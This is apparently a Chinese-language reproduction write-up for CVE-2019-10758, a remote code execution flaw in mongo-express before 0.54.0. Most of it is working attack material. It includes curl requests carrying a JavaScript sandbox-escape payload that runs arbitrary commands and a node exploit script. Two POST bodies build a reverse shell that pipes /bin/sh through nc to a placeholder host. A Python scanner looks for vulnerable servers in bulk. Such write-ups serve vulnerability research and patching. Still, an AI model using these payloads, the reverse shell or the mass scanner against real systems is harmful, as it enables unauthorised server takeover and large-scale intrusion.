（CVE-2019-10758）Mongo expres rce
==================================

一、漏洞简介
------------

漏洞问题出在lib/bson.js中的toBSON()函数中，路由 /checkValid
从外部接收输入，并调用了存在 RCE
漏洞的代码，由此存在被攻击的风险，可在服务器上进行任意命令执行。

二、漏洞影响
------------

mongo-express \< 0.54.0

三、复现过程
------------

https://github.com/ianxtianxt/CVE-2019-10758

#### 安装环境

    docker run -p 27017:27017 -d mongo
    npm install [email protected] 
    cd node_modules/mongo-express/ && node app.js

#### cURL exploit

    curl 'http://www.0-sec.org:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

![](./resource/(CVE-2019-10758)Mongoexpresrce/media/rId26.png)

    curl 'http://www.0-sec.org:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("echo Str1am > file.txt")'

![](./resource/(CVE-2019-10758)Mongoexpresrce/media/rId27.png)

#### Script exploit

    node main.js

#### main.js

    exploit = "this.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')"

    var bson = require('mongo-express/lib/bson')
    bson.toBSON(exploit)

### 补充

> mongo-express远程代码执行，反弹shell代码如下：

#### POST BODY 1:

    document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("mkfifo /tmp/f")

#### POST BODY 2：

    document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("cat /tmp/f | /bin/sh -i 2>%261 | nc x.x.x.x 666 >/tmp/f")

### 批量监测脚本【只放核心代码】

    payload = r'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("echo 111111")'

    def http_request(url,path_out):
        try:
            print("Trying:" + url + ' ' + '[' + str(left) + '/' + str(countLines) + ']')
            vulurl = url + "/checkValid"
            r = requests.post(url=vulurl, headers=headers, data=payload, timeout=10, verify= False)
            if r.status_code == 200 and 'Valid' in r.text:
                print("\033[1;40;32m'Good Found!' {}\033[0m".format(vulurl))
                #printGreen("[+]" + url)
                with open(path_out,'a') as f:
                    f.write(vulurl + '\n')
            else:
                print("[-]" + "r.status_code:" + str(r.status_code) + "," + "raise.text:" + r.text)
        except Exception as err:
            print(err)